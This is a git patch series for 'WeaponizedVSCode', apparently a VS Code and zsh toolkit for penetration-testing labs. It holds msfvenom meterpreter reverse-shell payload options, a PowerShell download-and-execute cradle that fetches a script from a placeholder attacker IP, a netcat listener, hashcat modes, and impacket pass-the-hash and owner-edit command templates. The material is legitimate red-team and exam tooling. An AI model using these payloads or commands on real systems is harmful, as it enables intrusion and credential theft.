a/.vscode/tasks.json b/.vscode/tasks.json index f320c50..7ed75e5 100644 --- a/.vscode/tasks.json +++ b/.vscode/tasks.json @@ -2,7 +2,7 @@ "version": "2.0.0", "options": { "env": { - "PROJECT_FOLDER": "${workspaceFolder}", + "PROJECT_FOLDER": "${workspaceFolder}" } }, "tasks": [ @@ -79,7 +79,7 @@ "detail": "OSCP exam style note template task, you can use this to create a note file for the exam or other lab.", "command": [ "echo ${input:note-template-type}|base64 -d > ${input:note-filename}", - "\n# fileSource: https://github.com/0prrr/OSCP-Note-Template", + "\n# fileSource: https://github.com/0prrr/OSCP-Note-Template" ], "problemMatcher": [] }, @@ -137,11 +137,11 @@ "command": [ "source ${workspaceFolder}/.vscode/.zshrc; ", "echo 'Running command with selection:';", - "echo '${selectedText}';", "echo 'Press any key to continue or Ctrl-C to cancal';", "read;", "${selectedText}" ], + "problemMatcher": [] } ], "inputs": [ @@ -163,7 +163,7 @@ "windows/x64/meterpreter/reverse_http", "windows/meterpreter/reverse_https", "windows/x64/meterpreter/reverse_https", - "java/meterpreter/reverse_tcp", + "java/meterpreter/reverse_tcp" ] }, { @@ -196,20 +196,20 @@ "vba", "vba-exe", "vba-psh", - "vbs", + "vbs" ] }, { "id": "msfvenom-lhost", "type": "promptString", "description": "Enter the LHOST, default will read the env.zsh configurated variable $LHOST", - "default": "$LHOST", + "default": "$LHOST" }, { "id": "msfvenom-lport", "type": "promptString", "description": "Enter the LPORT", - "default": "6789", + "default": "6789" }, { "id": "msfvenom-payload-advanced-options", @@ -221,14 +221,14 @@ "PrependMigrate=true PrependMigrateProc=explorer.exe", "PrependFork=true", "PrependSetuid=true", - "PrependSetuid=true PrependFork=true", + "PrependSetuid=true PrependFork=true" ] }, { "id": "msfvenom-output", "type": "promptString", "description": "Enter the output filename. if you put /dev/stdout here, the output will be printed to the terminal", - "default": "${workspaceFolder}/trojan", + "default": "${workspaceFolder}/trojan" }, // note-templates { @@ -244,7 +244,7 @@ "id": "note-filename", "type": "promptString", "description": "Enter the note filename", - "default": "${workspaceFolder}/note.md", + "default": "${workspaceFolder}/note.md" }, // cyberchef url { @@ -260,12 +260,12 @@ "id": "kubeconfig-gen-api-server", "type": "promptString", "description": "kubernetes api server", - "default": "https://server-ip:6443", + "default": "https://server-ip:6443" }, { "id": "kubeconfig-gen-sa-token", "type": "promptString", - "description": "kubernetes service account token under /var/run/secrets/kubernetes.io/serviceaccount/token", + "description": "kubernetes service account token under /var/run/secrets/kubernetes.io/serviceaccount/token" }, { "id": "kubeconfig-gen-namespace", @@ -284,7 +284,7 @@ "python3.10", "python3.11", "python3.12", - "python", + "python" ], "default": "python" }, @@ -299,7 +299,7 @@ "$HASHCAT_MODE_TOGGLE_CASE", "$HASHCAT_MODE_MASK_BRUTE_FORCE", "$HASHCAT_MODE_WORDLIST_MASK", - "$HASHCAT_MODE_MASK_WORDLIST", + "$HASHCAT_MODE_MASK_WORDLIST" ], "default": "$HASHCAT_MODE_WORDLIST" }, @@ -310,7 +310,7 @@ "options": [ "$HASHCAT_DEVICE_CPU", "$HASHCAT_DEVICE_GPU", - "$HASHCAT_DEVICE_FPGA", + "$HASHCAT_DEVICE_FPGA" ], "default": "$HASHCAT_DEVICE_GPU" }, @@ -339,9 +339,9 @@ "$HASH_KRB5_TGS_17", "$HASH_KRB5_TGS_18", "$HASH_JWT", - "$HASH_KRB5_AS_REP_23", + "$HASH_KRB5_AS_REP_23" ], - "default": "$HASH_MD5", + "default": "$HASH_MD5" }, { "id": "hashcat-hashfile", From f0e5ccd363130844ce3da5297f7cc1f7dde377c1 Mon Sep 17 00:00:00 2001 From: esonhugh Date: Tue, 17 Jun 2025 16:27:08 +0800 Subject: [PATCH 33/52] Enhances shell scripts and VS Code tasks for usability Adds `read` prompts to improve user interaction in shell scripts. Updates default values and environment handling for better flexibility. Enhances `dump_users` output with additional details. Introduces a `differ` function for file comparison. Refines VS Code settings and tasks for improved task execution and user guidance. Removes unused or redundant configurations and commands. Improves installer script by refining requirement checks and user prompts. --- .vscode/.zshrc | 6 ++- .vscode/env.zsh | 107 +++++++++++++++++++------------------ .vscode/settings.json | 6 ++- .vscode/tasks.json | 50 ++--------------- completion_indexer/_weapon | 12 ++++- installer.sh | 11 ++-- 6 files changed, 84 insertions(+), 108 deletions(-) diff --git a/.vscode/.zshrc b/.vscode/.zshrc index afea3a8..364c2cc 100644 --- a/.vscode/.zshrc +++ b/.vscode/.zshrc @@ -52,6 +52,7 @@ if [ "$WEB_DELIVERY_MODE" ]; then # ProjectDiscovery/SimpleHTTPServer simplehttpserver -listen 0.0.0.0:$LISTEN_ON -verbose -upload # python3 -m http.server $LISTEN_ON + read exit 0 fi @@ -63,12 +64,14 @@ export METASPLOIT_INIT_COMMAND="${METASPLOIT_INIT_COMMAND} setg VHOST $DOMAIN;" if [ "$METASPLOIT_HANDLER_MODE" ]; then msfconsole -r "$PROJECT_FOLDER/.vscode/metasploit_handler.rc" \ -x "${METASPLOIT_INIT_COMMAND}" + read exit 0 fi if [ "$METASPLOIT_CONSOLE_MODE" ]; then msfconsole -r "$PROJECT_FOLDER/.vscode/msfconsole.rc" \ -x "${METASPLOIT_INIT_COMMAND}" + read exit 0 fi @@ -81,7 +84,8 @@ if [ "$REVERSE_SHELL_MODE" ]; then echo "Advanced: " echo " https://rev.eson.ninja/?ip=${LHOST}&port=${LPORT}" echo "" - rlwrap -I -cAr nc -lvvp ${LPORT} + rlwrap -I -cAr netcat -lvvp ${LPORT} + read; exit 0 fi diff --git a/.vscode/env.zsh b/.vscode/env.zsh index 47da525..813f3e0 100644 --- a/.vscode/env.zsh +++ b/.vscode/env.zsh @@ -2,13 +2,14 @@ ################################################################ # Project settings for Zsh Prompt # export HOST="[HackTheBox - Machine Name]" +unset USER_ZDOTDIR ################################################################ # Self condition settings # use this if you are using a VPS or cloud server it can automatically get your public IP. # export LHOST=`curl ifconfig.me` # export LHOST=`curl ip.me` -export LHOST=$(ifconfig | grep '10\.10\.' | cut -d ' ' -f2) +export LHOST=${$(ifconfig | grep '10\.10\.' | cut -d ' ' -f2):-10.0.0.1} export ATTACKER_IP=$LHOST export LPORT=6789 @@ -132,7 +133,7 @@ function update_user_cred_to_env() { local pass=$(echo "$usercred" | yq '.[0].password' -r) local nt_hash=$(echo "$usercred" | yq '.[0].nt_hash' -r) local login=$(echo "$usercred" | yq '.[0].login' -r) - local LOGIN_${_var}=$login + export LOGIN_${_var}=$login export USER_${_var}=$user export PASS_${_var}=$pass export NT_HASH_${_var}=$nt_hash @@ -191,11 +192,12 @@ function current_status() { echo "Current User: ${CURRENT_USER} => ${USER}:${PASS} (${CURRENT_NT_HASH})" fi } -current_status +if [[ ! -z "$SHOW_CURRENT" ]]; then + current_status +fi # export KRB5CCNAME= -# [[administrator]]ME settings # export LD_PRELOAD=/usr/local/lib/libfaketime.so.1 # export LD_PRELOAD=/usr/lib/aarch64-linux-gnu/faketime/libfaketime.so.1 # export DYLD_FORCE_FLAT_NAMESPACE=1 DYLD_INSERT_LIBRARIES=/opt/homebrew/Cellar/libfaketime/0.9.10/lib/faketime/libfaketime.1.dylib @@ -203,51 +205,6 @@ current_status export METASPLOIT_INIT_COMMAND="" -################################################################ -# Advanced settings - -# AWS settings -# export AWS_DEFAULT_REGION=us-west-2 -# export AWS_ACCESS_KEY_ID=AKIA... -# export AWS_SECRET_ACCESS_KEY=... -# export AWS_SESSION_TOKEN=... -# export AWS_ENDPOINT_URL= - -# VAULT settings -# export VAULT_ADDR= -# export VAULT_TOKEN=... - -# MINIO settings -# export MINIO_ROOT_USER=... # access key -# export MINIO_ROOT_PASSWORD=... # secret key -# export MINIO_ENDPOINT= -# export MC_HOST_myminio=http://${MINIO_ROOT_USER}:${MINIO_ROOT_PASSWORD}@${MINIO_ENDPOINT} - -# Kubernetes settings -# export KUBECONFIG=${PROJECT_FOLDER}/kubeconfig - -# Terraform settings -export TF_LOG=trace -export TF_LOG_PATH=$PROJECT_FOLDER/terraform.log -# export TF_VAR_aws_access_key=... -# export TF_VAR_aws_secret_key=... -# export TF_VAR_aws_session_token=... -# export TF_VAR_aws_region=us-west-2 - -# OpenStack settings -# export OS_USERNAME=username -# export OS_PASSWORD=password -# export OS_TENANT_NAME=projectName -# export OS_AUTH_URL=https://identityHost:portNumber/v2 -# The following lines can be omitted -# export OS_TENANT_ID=tenantIDString -# export OS_REGION_NAME=regionName -# export OS_CACERT=/path/to/cacertFile -# export OS_TOKEN=tokenString - -################################################################ -# More default settings - export PROJECT_WEB_DELIVERY=$PROJECT_FOLDER/.web-delivery # web-delivery is a folder in PROJECT_FOLDER unset SSS_LOADED # make sure sss init shell is not set @@ -262,7 +219,7 @@ unset https_proxy http_proxy all_proxy # Hashcat settings # useful settings like ROCKYOU, SECLIST, etc. -# export WORDLIST=/usr/share/wordlists +export WORDLIST=${WORDLIST:-/usr/share/wordlists} export ROCKYOU=${WORDLIST}/rockyou.txt export SECLIST=${WORDLIST}/seclists/ export TOP_DNS=${SECLIST}/Discovery/DNS/bitquark-subdomains-top100000.txt @@ -460,14 +417,60 @@ function dump_hosts() { } function dump_users() { + echo "dumping impacket format for users:" for user in $(env|grep -E '^USER_'|grep -v 'USER_ALIAS'); do local _var=$(echo $user|sed -e 's/USER_//g' | cut -d '=' -f1) # replace _ with - to get the original username local _user=$(eval echo '$USER_'$_var) local _pass=$(eval echo '$PASS_'$_var) local _nt_hash=$(eval echo '$NT_HASH_'$_var) + local _login=$(eval echo '$LOGIN_'$_var) + if [[ "$_login" == "$_user" ]]; then + _login=$DOMAIN + fi if [[ "$_nt_hash" == "fffffffffffffffffffffffffffffffffff" ]]; then - _nt_hash=$(ntlm "${_pass}") + echo "\"${_login}\"/\"${_user}\":'${_pass}' (No NT Hash)" + else + echo "\"${_login}\"/\"${_user}\" (${_nt_hash})" fi - echo "${_user}:${_pass}(${_nt_hash})" done + echo "" + echo "# dumping environment variables for users:" + for user in $(env|grep -E '^USER_'|grep -v 'USER_ALIAS'); do + local _var=$(echo $user|sed -e 's/USER_//g' | cut -d '=' -f1) + local _user=$(eval echo '$USER_'$_var) + echo "# user: $_user" + local _pass=$(eval echo '$PASS_'$_var) + local _nt_hash=$(eval echo '$NT_HASH_'$_var) + local _login=$(eval echo '$LOGIN_'$_var) + echo "export USER_${_var}=\"${_user}\"" + echo "export PASS_${_var}=\"${_pass}\"" + echo "export NT_HASH_${_var}=\"${_nt_hash}\"" + echo "export LOGIN_${_var}=\"${_login}\"" + done + echo "" + echo "# dumping current user environment variables:" + echo "export USER=${CURRENT_USER}" + echo "export USERNAME=${CURRENT_PASS}" + echo "export PASS=${CURRENT_PASS}" + echo "export PASSWORD=${CURRENT_PASS}" + echo "export NT_HASH=${CURRENT_NT_HASH}" + echo "export LOGIN=${CURRENT_LOGIN}" + echo "" + echo "export CURRENT_USER=${CURRENT_USER}" + echo "export CURRENT_PASS=${CURRENT_PASS}" + echo "export CURRENT_NT_HASH=${CURRENT_NT_HASH}" + echo "export CURRENT_LOGIN=${CURRENT_LOGIN}" + echo "export CURRENT=${CURRENT}" +} + +function differ() { + if [[ -z $1 || -z $2 ]]; then + echo "Usage: differ " + return 1 + fi + if [[ ! -f $1 || ! -f $2 ]]; then + echo "File not found!" + return 1 + fi + code -d "$1" "$2" } \ No newline at end of file diff --git a/.vscode/settings.json b/.vscode/settings.json index c3cdd74..067a269 100644 --- a/.vscode/settings.json +++ b/.vscode/settings.json @@ -2,7 +2,8 @@ "terminal.integrated.profiles.linux": { "zsh-shell": { "env": { - "PROJECT_FOLDER": "${workspaceFolder}" + "PROJECT_FOLDER": "${workspaceFolder}", + "SHOW_CURRENT_STATUS": "True" }, "path": "zsh" }, @@ -42,7 +43,8 @@ "terminal.integrated.profiles.osx": { "zsh-shell": { "env": { - "PROJECT_FOLDER": "${workspaceFolder}" + "PROJECT_FOLDER": "${workspaceFolder}", + "SHOW_CURRENT_STATUS": "True" }, "path": "zsh" }, diff --git a/.vscode/tasks.json b/.vscode/tasks.json index 7ed75e5..999301b 100644 --- a/.vscode/tasks.json +++ b/.vscode/tasks.json @@ -12,7 +12,7 @@ "detail": "msfvenom payload creating task", "problemMatcher": [], "command": [ - "source ${workspaceFolder}/.vscode/.zshrc;", // source shell config + "source ${workspaceFolder}/.vscode/.zshrc;", "msfvenom", "-p", "${input:msfvenom-payload}", @@ -59,30 +59,13 @@ "echo '================ ADDING THIS LINE IN FILE ========';", "dump_hosts;", "echo '================================================';", - "echo 'Press any key to continue';", + "echo 'Press Enter key to continue';", "read;", "sudo vim /etc/hosts" ], "isBackground": false, "problemMatcher": [] }, - { - "label": "Encoder/Decoder", - "command": [ - "${input:visit-cyberchef}" - ], - "problemMatcher": [] - }, - { - "label": "OSCP exam style note template", - "type": "shell", - "detail": "OSCP exam style note template task, you can use this to create a note file for the exam or other lab.", - "command": [ - "echo ${input:note-template-type}|base64 -d > ${input:note-filename}", - "\n# fileSource: https://github.com/0prrr/OSCP-Note-Template" - ], - "problemMatcher": [] - }, { "label": "service account token kubeconfig generation", "type": "shell", @@ -137,7 +120,7 @@ "command": [ "source ${workspaceFolder}/.vscode/.zshrc; ", "echo 'Running command with selection:';", - "echo 'Press any key to continue or Ctrl-C to cancal';", + "echo 'Press Enter key to continue or Ctrl-C to cancal';", "read;", "${selectedText}" ], @@ -145,14 +128,11 @@ } ], "inputs": [ - // msfvenom { "id": "msfvenom-payload", "type": "pickString", "description": "Select the payload", "options": [ - // Order with the most used payloads first - // Staged first, better stageless "windows/x64/meterpreter/reverse_tcp", "windows/meterpreter/reverse_tcp", "linux/x64/meterpreter/reverse_tcp", @@ -171,8 +151,6 @@ "type": "pickString", "description": "Select the format of the payload", "options": [ - // executable first, script second, web hta third - // "# DONOT Choose this.(psh is powershell script with loader,raw is used for python java php pyloads)", "exe", "elf", "psh # psh is powershell payload with loader using `IEX(New-Object System.Net.WebClient).DownloadString('http://YOURIP:80/.ps1');` to load in memory ", @@ -230,32 +208,12 @@ "description": "Enter the output filename. if you put /dev/stdout here, the output will be printed to the terminal", "default": "${workspaceFolder}/trojan" }, - // note-templates - { - "id": "note-template-type", - "type": "pickString", - "description": "Select the note template type. First one is Linux, Second one is Windows", - "options": [ - "IyBMaW51eCBUZW1wbGF0ZQoKIyBPdmVydmlldwoKLSBPUwogICAgCi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YXR0ZW5kZWQudHh0IikKJG91dHB1dCA9ICRvdXRwdXQgKyAgKGdldC1jaGlsZGl0ZW0gQzpcIC1yZWN1cnNlIC1pbmNsdWRlICRmaWxlcyAtRUEgU2lsZW50bHlDb250aW51ZSAgfCBTZWxlY3QtU3RyaW5nIC1wYXR0ZXJuICI8VmFsdWU+IiB8IG91dC1zdHJpbmcpCgojIFJlc3VsdDoKCmBgYAoKIyMgQ3JlZGVudGlhbCBNYW5hZ2VyCgpgYGAKY21ka2V5IC9saXN0CgojIFJlc3VsdDoKCmBgYAoKWUVTPwoKYGBgCnJ1bmFzIC9zYXZlZGNyZWQgL3VzZXI6YWRtaW5pc3RyYXRvciAvcGF0aC90by9wYXlsb2FkCgojIFJlc3VsdDoKCmBgYAoKIyMgS2VybmVsIEV4cGxvaXRzPwoKYGBgCiMgc2VhcmNoIGZvciB3aW5kb3dzIDxidWlsZCBuby4+IGtlcm5lbCBleHBsb2l0CgojIHdpbmRvd3MgZXhwbG9pdCBzdWdnZXN0ZXIKCiMgc2VhdGJlbHQ/CgojIFJlc3VsdDoKCmBgYAo=" - ] - }, { "id": "note-filename", "type": "promptString", "description": "Enter the note filename", "default": "${workspaceFolder}/note.md" }, - // cyberchef url - { - "id": "visit-cyberchef", - "type": "command", - "command": "simpleBrowser.show", - "args": [ - "https://gchq.github.io/CyberChef/" - ] - }, - // kubeconfig creator { "id": "kubeconfig-gen-api-server", "type": "promptString", @@ -273,7 +231,6 @@ "description": "kubernetes service account namespace", "default": "default" }, - // python version picker { "id": "python-versioned", "type": "pickString", @@ -288,7 +245,6 @@ ], "default": "python" }, - // Hashcat { "id": "hashcat-mode", "type": "pickString", diff --git a/completion_indexer/_weapon b/completion_indexer/_weapon index 38c0c06..799ba11 100644 --- a/completion_indexer/_weapon +++ b/completion_indexer/_weapon @@ -1,7 +1,16 @@ update_user_cred_to_env set_current_user +dump_users update_host_to_env set_current_host +dump_hosts +dump_hosts | sudo tee -a /etc/hosts +current_status +proxys +proxys on +proxys off +url encode "content==" +url decode "content%3D%3D" wfuzz_vhost_http $DOMAIN $TOP_DNS wfuzz_vhost_https $DOMAIN $TOP_DNS venv-init @@ -14,4 +23,5 @@ cp xxx $PROJECT_FOLDER/ cp xxx $PROJECT_WEB_DELIVERY/ cat file |url encode cat file |url decode -ntlm $PASS \ No newline at end of file +ntlm $PASS +differ file1 file2 diff --git a/installer.sh b/installer.sh index 4afbf04..27b539b 100755 --- a/installer.sh +++ b/installer.sh @@ -1,17 +1,17 @@ #!/bin/zsh function check_command() { - local prompt=$2 command -v "$1" >/dev/null 2>&1 && { } || { - echo "$1 is not installed." - echo "Install it for better experience." - echo "$prompt" + echo "detect $1 is not installed." + echo "$2" return 2 } } function check_requirements() { + check_command "awk" "awk is required for parsing the output of commands, please install it." || return 2 + check_command "sed" "sed is required for parsing the output of commands, please install it." || return 2 check_command "zsh" "zsh is core to WeaponizedVSCode integrated shell." || return 2 check_command "vim" "vim is required for task edit /etc/hosts, please install it or change it." || return 2 check_command "nc" "nc is core for netcat shell session handling or u can't use it, please install it." || return 2 @@ -22,6 +22,7 @@ function check_requirements() { check_command "simplehttpserver" "simplehttpserver is cool for serving files with upload feature and dump http requests, install it with https://github.com/projectdiscovery/simplehttpserver" || return 2 check_command "rustscan" "rustscan is required for the auto scanning task in vscode, fast and reliable, install it with https://github.com/bee-san/RustScan" || return 2 check_command "wfuzz" "wfuzz is required for command wfuzz_vhost_https and wfuzz_vhost_http, to fuzz the subdomain and vhost. install it or u can't use that" || return 2 + check_command "hashcat" "hashcat is required for the hashcat cracking task in vscode, install it with 'apt install hashcat' or 'brew install hashcat'." || return 2 check_command "python3" "Python3 is required for the Python scripts in WeaponizedVSCode, please install it." || return 2 check_command "uv" "uv is optional but recommended for better performance, install it with 'pip install uv'. Their script is useful" } @@ -45,7 +46,7 @@ function main() { exit 0 fi export LOCATION="$WEAPON_LOCATION" - echo "Weapon will be installed to $LOCATION, Press any key to continue or Ctrl+C to cancel..." + echo "Weapon will be installed to $LOCATION, Press Enter key to continue or Ctrl+C to cancel..." read echo "Installing Weapon..." mkdir -p $LOCATION && echo "Weapon directory created at $LOCATION." From af98c76708b6be1ee79383046b6a03a09c5194a3 Mon Sep 17 00:00:00 2001 From: Esonhugh Date: Tue, 17 Jun 2025 22:18:28 +0800 Subject: [PATCH 34/52] update: zsh performance tracer --- zsh_preformance_tracer.sh | 28 ++++++++++++++++++++++++++++ 1 file changed, 28 insertions(+) create mode 100644 zsh_preformance_tracer.sh diff --git a/zsh_preformance_tracer.sh b/zsh_preformance_tracer.sh new file mode 100644 index 0000000..8dcee16 --- /dev/null +++ b/zsh_preformance_tracer.sh @@ -0,0 +1,28 @@ +zsh_trace_start() { + echo "starting zsh tracing" + # set the trace prompt to include seconds, nanoseconds, script name and line number + # This is GNU date syntax; by default Macs ship with the BSD date program, which isn't compatible + if [[ $ZSH_VERSION > 4.3.11 ]]; then + zmodload zsh/datetime + setopt promptsubst + export PS4='+$EPOCHREALTIME %N:%i> ' + else + export PS4='+$(date "+%s:%N") %N:%i> ' + fi + # save file stderr to file descriptor 3 and redirect stderr (including trace + # output) to a file with the script's PID as an extension + exec 3>&2 2>/tmp/startlog.$$ + # set options to turn on tracing and expansion of commands contained in the prompt + setopt xtrace prompt_subst + trap 'setopt xtrace' EXIT +} + +zsh_trace_end() { + # turn off tracing + unsetopt xtrace + # restore stderr to the value saved in FD 3 + exec 2>&3 3>&- + echo "zsh tracing done. See /tmp/startlog.$$" + trap 'unsetopt xtrace' EXIT +} + From 70ee36175fb476e4a6d2d4c38062f0d44e795d59 Mon Sep 17 00:00:00 2001 From: Esonhugh Date: Tue, 17 Jun 2025 23:54:34 +0800 Subject: [PATCH 35/52] fixup: bug of show status --- .foam/templates/host.md | 2 +- .foam/templates/service.md | 2 +- .foam/templates/user.md | 2 +- .vscode/env.zsh | 2 +- 4 files changed, 4 insertions(+), 4 deletions(-) diff --git a/.foam/templates/host.md b/.foam/templates/host.md index e2367fc..720983d 100644 --- a/.foam/templates/host.md +++ b/.foam/templates/host.md @@ -1,6 +1,6 @@ --- title: ${1:$TM_FILENAME_BASE} -tags: host +type: host foam_template: filepath: 'hosts/$FOAM_TITLE/$FOAM_TITLE.md' name: 'host' diff --git a/.foam/templates/service.md b/.foam/templates/service.md index e3a3b10..2763079 100644 --- a/.foam/templates/service.md +++ b/.foam/templates/service.md @@ -1,6 +1,6 @@ --- title: ${1:$TM_FILENAME_BASE} -tags: service +type: service foam_template: filepath: 'services/$FOAM_TITLE/$FOAM_TITLE.md' name: 'service' diff --git a/.foam/templates/user.md b/.foam/templates/user.md index b73232e..f6afa1b 100644 --- a/.foam/templates/user.md +++ b/.foam/templates/user.md @@ -1,6 +1,6 @@ --- title: ${1:$TM_FILENAME_BASE} -tags: user +type: user foam_template: filepath: 'users/$FOAM_TITLE/$FOAM_TITLE.md' name: 'user' diff --git a/.vscode/env.zsh b/.vscode/env.zsh index 813f3e0..e4a7103 100644 --- a/.vscode/env.zsh +++ b/.vscode/env.zsh @@ -192,7 +192,7 @@ function current_status() { echo "Current User: ${CURRENT_USER} => ${USER}:${PASS} (${CURRENT_NT_HASH})" fi } -if [[ ! -z "$SHOW_CURRENT" ]]; then +if [[ ! -z "$SHOW_CURRENT_STATUS" ]]; then current_status fi From 3ec4501170636fe8dab5e2d42ce3e2ede1bb0430 Mon Sep 17 00:00:00 2001 From: esonhugh Date: Wed, 18 Jun 2025 15:32:41 +0800 Subject: [PATCH 36/52] update: change weapon location to customizable --- installer.sh | 5 +++-- launch_helper.zsh | 6 ++++-- 2 files changed, 7 insertions(+), 4 deletions(-) diff --git a/installer.sh b/installer.sh index 27b539b..a327a30 100755 --- a/installer.sh +++ b/installer.sh @@ -12,6 +12,8 @@ function check_command() { function check_requirements() { check_command "awk" "awk is required for parsing the output of commands, please install it." || return 2 check_command "sed" "sed is required for parsing the output of commands, please install it." || return 2 + check_command "grep" "grep is required for parsing the output of commands, please install it." || return 2 + check_command "tr" "tr is required for parsing the output of commands, please install it." || return 2 check_command "zsh" "zsh is core to WeaponizedVSCode integrated shell." || return 2 check_command "vim" "vim is required for task edit /etc/hosts, please install it or change it." || return 2 check_command "nc" "nc is core for netcat shell session handling or u can't use it, please install it." || return 2 @@ -52,7 +54,7 @@ function main() { mkdir -p $LOCATION && echo "Weapon directory created at $LOCATION." cp -f ./createhackenv.sh $LOCATION && echo "createhackenv.sh copied to $LOCATION." echo "" >>$LOCATION/createhackenv.sh - echo "export WEAPON_LOCATION=$LOCATION" >>$LOCATION/createhackenv.sh # overwrite if exists + sed -i "s/__REPLACE__/$LOCATION/g" $LOCATION/createhackenv.sh && echo "createhackenv.sh updated with WEAPON_LOCATION." cp -f ./zsh_history $LOCATION && echo "zsh_history copied to $LOCATION." grep -zq "source $LOCATION/createhackenv.sh" ~/.zshrc @@ -64,7 +66,6 @@ function main() { fi echo "Weaponized VSCode installation completed." - } main "$@" diff --git a/launch_helper.zsh b/launch_helper.zsh index b155480..d349364 100755 --- a/launch_helper.zsh +++ b/launch_helper.zsh @@ -1,6 +1,8 @@ +export WEAPON_LOCATION=__REPLACE__ + weapon_vscode_launch_helper () { - if [ -f ~/.local/weapon/zsh_history ]; then - export HIST_COMMAND_INDEXER=~/.local/weapon/zsh_history + if [ -f ${WEAPON_LOCATION}/zsh_history ]; then + export HIST_COMMAND_INDEXER=${WEAPON_LOCATION}/zsh_history fi if [ -n "$PROJECT_FOLDER" ]; then if [ -f "$PROJECT_FOLDER/.vscode/.zshrc" ]; then From b8fa5296ec44e63964dc6ad5fecb12a29edcdf5f Mon Sep 17 00:00:00 2001 From: esonhugh Date: Wed, 18 Jun 2025 15:45:51 +0800 Subject: [PATCH 37/52] update: location --- installer.sh | 8 +++----- 1 file changed, 3 insertions(+), 5 deletions(-) diff --git a/installer.sh b/installer.sh index a327a30..301bdb5 100755 --- a/installer.sh +++ b/installer.sh @@ -36,8 +36,8 @@ function main() { echo "If you want to force install without checking requirements, run the script with FORCE_INSTALL=true ./installer.sh" exit 1 fi - - if [[ -z "$WEAPON_LOCATON" ]]; then + + if [[ -z "$WEAPON_LOCATION" ]]; then echo "WEAPON_LOCATION is not set. set to default ~/.local/weapon" export WEAPON_LOCATION=~/.local/weapon echo "You can set it by exporting WEAPON_LOCATION=your_desired_path before running this script." @@ -52,9 +52,7 @@ function main() { read echo "Installing Weapon..." mkdir -p $LOCATION && echo "Weapon directory created at $LOCATION." - cp -f ./createhackenv.sh $LOCATION && echo "createhackenv.sh copied to $LOCATION." - echo "" >>$LOCATION/createhackenv.sh - sed -i "s/__REPLACE__/$LOCATION/g" $LOCATION/createhackenv.sh && echo "createhackenv.sh updated with WEAPON_LOCATION." + cat ./createhackenv.sh |sed -e "s#__REPLACE__#$LOCATION#g" > $LOCATION/createhackenv.sh && echo "createhackenv.sh copied to $LOCATION." cp -f ./zsh_history $LOCATION && echo "zsh_history copied to $LOCATION." grep -zq "source $LOCATION/createhackenv.sh" ~/.zshrc From 0d9cffaa73fd4ba39997cee78286cae62598d45e Mon Sep 17 00:00:00 2001 From: esonhugh Date: Wed, 18 Jun 2025 15:46:34 +0800 Subject: [PATCH 38/52] update: ignore and index the makefile --- .gitignore | 5 +++-- Makefile | 11 +++++++++++ 2 files changed, 14 insertions(+), 2 deletions(-) create mode 100644 Makefile diff --git a/.gitignore b/.gitignore index 64b8eba..755e400 100644 --- a/.gitignore +++ b/.gitignore @@ -4,7 +4,8 @@ hosts/ users/ services/ index.md -Makefile .DS_Store .vscode/.command_history -zsh_history \ No newline at end of file +zsh_history +weapon_test +test* \ No newline at end of file diff --git a/Makefile b/Makefile new file mode 100644 index 0000000..ff34365 --- /dev/null +++ b/Makefile @@ -0,0 +1,11 @@ + +install: + @echo "Installing the project..." + uv run ./craft.py + uv run ./completion_creator.py + @echo "Preparing the environment..." + WEAPON_LOCATION=$(shell pwd)/weapon_test ./installer.sh + @echo "Installation complete." + +clean: + rm -rf ./hosts ./users ./weapon_test ./createhackenv.sh ./zsh_history \ No newline at end of file From bbf869efe3185236e1aa02f7198e965934ef7465 Mon Sep 17 00:00:00 2001 From: esonhugh Date: Wed, 18 Jun 2025 15:59:09 +0800 Subject: [PATCH 39/52] update: make build and owneredit self --- Makefile | 8 +++++--- completion_indexer/impacket | 1 + 2 files changed, 6 insertions(+), 3 deletions(-) diff --git a/Makefile b/Makefile index ff34365..a88c9c1 100644 --- a/Makefile +++ b/Makefile @@ -1,8 +1,10 @@ - -install: - @echo "Installing the project..." +build: + @echo "Building the project..." uv run ./craft.py uv run ./completion_creator.py + @echo "Build complete." + +install: build @echo "Preparing the environment..." WEAPON_LOCATION=$(shell pwd)/weapon_test ./installer.sh @echo "Installation complete." diff --git a/completion_indexer/impacket b/completion_indexer/impacket index d3516d2..ae3c5fa 100644 --- a/completion_indexer/impacket +++ b/completion_indexer/impacket @@ -68,6 +68,7 @@ dcomexec.py -hashes :"$NT_HASH" "$DOMAIN"/"$USER"@"$TARGET" atexec.py -hashes :"$NT_HASH" "$DOMAIN"/"$USER"@"$TARGET" changepasswd.py -newpass '123Pentest!!!' "$DOMAIN"/"$USER":"$PASS"@"$DC_HOST" changepasswd.py -newpass '123Pentest!!!' -hashes :"$NT_HASH" "$DOMAIN"/"$USER"@"$TARGET" +owneredit.py -action write -new-owner "$USER" -target "$TARGET_OBJECT" "$DOMAIN"/"$USER":"$PASS" owneredit.py -action write -new-owner "$NEW_OWNER" -target "$TARGET_OBJECT" "$DOMAIN"/"$USER":"$PASS" mssqlclient.py "$DOMAIN"/"$USER":"$PASS"@"$TARGET" describeTicket.py "$KRB5CCNAME" From c38eb75661d5ba9517f3b1231dd6f901fa292a25 Mon Sep 17 00:00:00 2001 From: esonhugh Date: Wed, 18 Jun 2025 17:24:43 +0800 Subject: [PATCH 40/52] update: performance installer and installer --- Makefile | 5 ++++ installer.sh | 57 ++++++++++++++++++++++++++++++++++++--- zsh_preformance_tracer.sh | 6 +++-- 3 files changed, 63 insertions(+), 5 deletions(-) diff --git a/Makefile b/Makefile index a88c9c1..0c348b1 100644 --- a/Makefile +++ b/Makefile @@ -9,5 +9,10 @@ install: build WEAPON_LOCATION=$(shell pwd)/weapon_test ./installer.sh @echo "Installation complete." +install-trace: build + @echo "Preparing the environment with trace..." + WEAPON_LOCATION=$(shell pwd)/weapon_test ./installer.sh --trace-mode + @echo "Installation with trace complete." + clean: rm -rf ./hosts ./users ./weapon_test ./createhackenv.sh ./zsh_history \ No newline at end of file diff --git a/installer.sh b/installer.sh index 301bdb5..a6edae3 100755 --- a/installer.sh +++ b/installer.sh @@ -29,6 +29,27 @@ function check_requirements() { check_command "uv" "uv is optional but recommended for better performance, install it with 'pip install uv'. Their script is useful" } +export INSTALL_IDENTIFIER="WeaponizedVSCode installation script. The following commands are generated by WeaponizedVSCode installer." + +function args() { + while [[ "$#" -gt 0 ]]; do + case "$1" in + (--trace-mode) + export WEAPON_TRACE_MODE=true + shift + ;; + (--force-install) + export WEAPON_FORCE_INSTALL=true + shift + ;; + *) + echo "Unknown option: $1" + exit 1 + ;; + esac + done +} + function main() { check_requirements if [[ $? -ne 0 && "$FORCE_INSTALL" != "true" ]]; then @@ -45,8 +66,16 @@ function main() { if [[ -d "$WEAPON_LOCATION" ]]; then echo "Weapon already installed." + if [[ 